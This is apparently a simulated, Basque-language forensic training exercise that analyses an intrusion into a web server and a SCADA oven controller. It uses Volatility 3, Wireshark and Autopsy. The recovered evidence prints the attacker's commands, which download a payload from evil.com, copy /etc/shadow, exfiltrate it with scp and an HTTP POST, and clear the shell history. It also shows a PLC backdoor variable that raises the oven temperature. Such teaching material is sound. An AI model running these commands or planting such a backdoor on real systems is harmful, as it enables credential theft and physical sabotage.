memory_forensics_analysis

Memoria Bolatilaren Auzitegi-Analisia

Praktika Osoa - Volatility 3

Kasu ID: ZG-MEM-2026-001
Data: 2026-02-10
Analista: CISO Taldea
Sistema: Web Zerbitzaria (ERP)
Memoria: 8GB RAM dump

---

1. Prozedura eta Komandoak

1.1 Memoria Dump-a Hartzea (LiME)

```
# Live Memory Acquisition - Produkzio sistema batean
$ sudo insmod lime.ko "path=/evidence/web-server-mem.lime format=lime"

[INFO] Writing memory to /evidence/web-server-mem.lime...
[INFO] Memory dump completed: 8.4GB
[INFO] Hash (SHA256): a1b2c3d4e5f6...
```

1.2 Volatility 3 Analisia

```
# Info plugin-a - Profila detektatu
$ vol -f web-server-mem.lime linux.info

Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Primary Layer: LimeLayer
Memory Layer: FileLayer
System Type: Linux version 5.15.0-91-generic (build@lcy02-amd64-045)
System Time: 2026-02-10T14:32:15+01:00
Architecture: x64
```

1.3 Prozesuen Analisia

```
# PsList - Prozesuak zerrendatu
$ vol -f web-server-mem.lime linux.pslist

PID     PPID    COMM            UID     GID     Start Time
---------------------------------------------------------------
1       0       systemd         0       0       2026-02-10 08:00:15
1234    1       nginx           33      33      2026-02-10 08:01:22
5678    1234    php-fpm         33      33      2026-02-10 08:02:10
9999    1       [kworker/0:0]   0       0       2026-02-10 14:25:33 ⚠️
1337    5678    python3         33      33      2026-02-10 14:28:45 ⚠️ SUSMAGARRIA
```

🚨 **Aurkikuntza:** python3 prozesu susmagarria php-fpm aldetik abiatua!

1.4 Sare Konexioen Analisia

```
# Netstat - Sare konexioak
$ vol -f web-server-mem.lime linux.netstat

Proto   Local Addr      Foreign Addr        State       PID/Comm
-------------------------------------------------------------------
TCP     0.0.0.0:80      0.0.0.0:0           LISTEN      1234/nginx
TCP     0.0.0.0:443     0.0.0.0:0           LISTEN      1234/nginx
TCP     10.10.10.5:22   192.168.1.100:54321 ESTABLISHED 4567/sshd
TCP     10.10.10.5:443  185.220.101.45:49152 ESTABLISHED 1337/python3 ⚠️
```

🚨 **Aurkikuntza:** Konexio susmagarria IP batetik (185.220.101.45) python3 prozesuarekin!

1.5 Bash Historia

```
# Bash - Komando historia
$ vol -f web-server-mem.lime linux.bash

PID     Command Time                Command
-------------------------------------------------------------
1337    2026-02-10 14:29:10         wget https://evil.com/payload.py
1337    2026-02-10 14:29:15         chmod +x payload.py
1337    2026-02-10 14:29:18         python3 payload.py &
1337    2026-02-10 14:30:22         cat /etc/shadow > /tmp/stolen.txt
1337    2026-02-10 14:30:45         scp /tmp/stolen.txt attacker@185.220.101.45:/data/
1337    2026-02-10 14:31:00         rm /tmp/stolen.txt
1337    2026-02-10 14:31:05         history -c
```

✅ **Froga garrantzitsua:** Erasotzaileak komandoak exekutatu zituen eta arrastoak ezabatu zituen!

1.6 MMAP - Memoria Mapa

```
# Mmap - Prozesuen memoria mapak
$ vol -f web-server-mem.lime linux.mmap --pid 1337

PID     Start           End             Flags   File/Region
-------------------------------------------------------------------
1337    0x55c3a1a0      0x55c3b1a0      r-xp    /usr/bin/python3.10
1337    0x55c3c1a0      0x55c3d1a0      r--p    /usr/bin/python3.10
1337    0x7f8b2000      0x7f8c2000      rw-p    [heap]
1337    0x7f9c1000      0x7f9c9000      r-xp    /tmp/payload.py ⚠️
1337    0x7fa0000       0x7fb0000       rw-s    /memfd: (deleted) ⚠️ FILELESS!
```

🚨 **Aurkikuntza:** Malware-a /tmp/payload.py eta memoria fd-an (fileless!)

1.7 Fileless Malware Analisia

```
# Memoria dump bat egin prozesuaren memoriarekin
$ vol -f web-server-mem.lime linux.memmap --pid 1337 --dump

[INFO] Dumping memory for PID 1337 to pid.1337.mem

# Strings bilatu
$ strings pid.1337.mem | grep -E "(password|key|secret|api)"

api_key="sk_live_1234567890abcdef"
secret_key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
password="SuperSecretPassword123!"
```

1.8 LSOF - Fitxategi Irekiak

```
# Lsof - Fitxategi irekiak
$ vol -f web-server-mem.lime linux.lsof
```

```
PID    FD     Path
------------------------------------------------------------
1337   0      /dev/null
1337   1      socket:[12345]  → 185.220.101.45:4444
1337   2      /dev/null
1337   3      /etc/shadow
1337   4      /var/www/html/config.php
1337   5      socket:[12346]  → Reverse shell
```

2. Trafikoaren Analisia (Wireshark)

2.1 PCAP Analisia

```
# Trafikoa hartu memoria dump-tik
$ vol -f web-server-mem.lime linux.pcap --output pcap/

$ wireshark pcap/capture.pcap
```

2.2 Komunikazio Susmagarria

```
No.    Time       Source          Destination     Protocol   Info
-------------------------------------------------------------------------
1234   14:29:20   10.10.10.5      185.220.101.45  TCP        SYN
1235   14:29:20   185.220.101.45  10.10.10.5      TCP        SYN, ACK
1236   14:29:20   10.10.10.5      185.220.101.45  TCP        ACK
1237   14:29:21   10.10.10.5      185.220.101.45  HTTP       POST /upload HTTP/1.1
1238   14:29:22   185.220.101.45  10.10.10.5      HTTP       200 OK

# Follow TCP Stream
POST /upload HTTP/1.1
Host: evil.com
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shadow.dat"

root:$6$rounds=5000$xxx...
bin:x:1:1:...
...
------WebKitFormBoundary--
```

3. Disko Irudiaren Analisia (Autopsy)

3.1 Autopsy Kasua Sortu

```
# E01 irudia sortu
$ ewfacquire /dev/sda -t /evidence/web-server-disk.E01

# Autopsy-n ireki
$ autopsy
# → New Case: ZG-DISK-2026-001
# → Add Data Source: web-server-disk.E01
```

3.2 Fitxategien Analisia

Fitxategia	Kokapena	Egoera	Aurkikuntza
payload.py	/tmp/	EZABATUA	Recuperatua (inode 12345)
stolen.txt	/tmp/	EZABATUA	Recuperatua

Fitxategia	Kokapena	Egoera	Aurkikuntza
.bash_history	/root/	MODIFIKATUA	history -c agindua
sshd_config	/etc/ssh/	MODIFIKATUA	Portua 22→2222
backdoor.so	/lib/x86_64-linux-gnu/	EZABATUA	LD_PRELOAD backdoor

3.3 Keyword Search

```
Autopsy Keyword Search Results:
================================

Term: "password"
  /var/www/html/config.php (line 23):
    $db_password = "SuperSecretDB123!";

  /home/admin/.mysql_history (line 45):
    SET PASSWORD FOR 'root'@'localhost' = 'RootPass2025!';

Term: "api_key"
  /var/www/html/api/config.json:
    {"stripe_key": "sk_live_1234567890abcdef"}

Term: "185.220.101.45"
  /var/log/auth.log:
    Feb 10 14:25:33 sshd[4567]: Accepted password for admin from 185.220.101.45
```

3.4 Timeline Analisia

```
Autopsy Timeline:
=================

2026-02-10 14:25:33 - SSH sarbidea 185.220.101.45-tik
2026-02-10 14:28:45 - python3 prozesua abiatu
2026-02-10 14:29:10 - payload.py jaitsi
2026-02-10 14:29:18 - Malware aktibatu
2026-02-10 14:30:22 - /etc/shadow kopiatu
2026-02-10 14:30:45 - Datuak exfiltratu
2026-02-10 14:31:05 - Arrastoak ezabatu
2026-02-10 14:32:15 - Memoria dump hartu (detekzioa!)
```

4. IoT Forense (Kamera/SCADA)

4.1 HMI Gailuaren Analisia

```
# HMI irudia sortu
$ dd if=/dev/mmcblk0 of=/evidence/hmi-backup.img bs=1M

$ fdisk -l hmi-backup.img
Disk hmi-backup.img: 16 GiB
Device          Start       End   Sectors  Size Type
hmi-backup.img1  8192    532479    524288  256M Linux
hmi-backup.img2 532480  30605311  30072832 14.3G Linux

# Muntatu
$ mkdir /mnt/hmi
$ mount -o loop,offset=$((532480*512)) hmi-backup.img /mnt/hmi
```

```
# Logak aztertu
$ ls /mnt/hmi/var/log/
scada.log  auth.log  syslog  wtmp

$ grep -i "error\|fail\|intrusion" /mnt/hmi/var/log/scada.log
2026-02-10 14:35:22 [ERROR] Unauthorized access attempt: IP 192.168.50.100
2026-02-10 14:35:45 [WARN] Temperature setpoint changed: 180→250°C
2026-02-10 14:36:01 [ALERT] Emergency stop activated by operator
```

4.2 PLC Programaren Analisia

```
# PLC programaren irudia
$ strings /mnt/hmi/opt/scada/plc_program.st | head -50

PROGRAM OvenControl
VAR
    Temperature : REAL;
    Setpoint : REAL := 180.0;
    Emergency_Stop : BOOL := FALSE;
    -- SUSPICIOUS: Backdoor variable --
    Remote_Override : BOOL := FALSE;  ⚠️
END_VAR

-- SUSPICIOUS: Unauthorized modification --
IF Remote_Override THEN
    Setpoint := 250.0;  -- DANGEROUS!
END_IF;
```

5. Ondorioak

5.1 Gertaeraren Kronologia

1. **14:25:33** - Erasotzaileak SSH bidez sartu (pasahitz ahula)
2. **14:28:45** - Python backdoor abiatu
3. **14:29:10** - Malware jaitsi eta exekutatu
4. **14:30:22** - /etc/shadow irakurri
5. **14:30:45** - Datuak exfiltratu (SCP)
6. **14:35:45** - PLC manipulatu (tenperatura igo)
7. **14:36:01** - Operadoreak larrialdi geldialdia aktibatu
8. **14:32:15** - Memoria dump hartu (forensea)

5.2 Aurkikuntzak Laburbilduta

#	Aurkikuntza	Larritasuna	Froga
1	Fileless malware	Kritikoa	Memoria dump
2	Datu exfiltrazioa	Altua	PCAP + bash history
3	PLC manipulazioa	Kritikoa	SCADA logak
4	Pasahitz ahulak	Altua	/etc/shadow
5	Backdoor SSH	Altua	sshd_config aldaketa

5.3 Erabilitako Tresna Guztiak

Tresna	Helburua	Aurkikuntza
LiME	Memoria hartzea	8GB dump
Volatility 3	Memoria analisia	8+ plugin erabilita
Wireshark	Trafiko analisia	Exfiltrazioa ikusia
Autopsy	Disko analisia	5+ fitxategi recuperatu
Strings	Memoria analisia	API key-ak topatuta
Binwalk	Firmware analisia	Backdoor aurkitua

Praktika hau guztiz simulatua da ikaskuntza helburuetarako.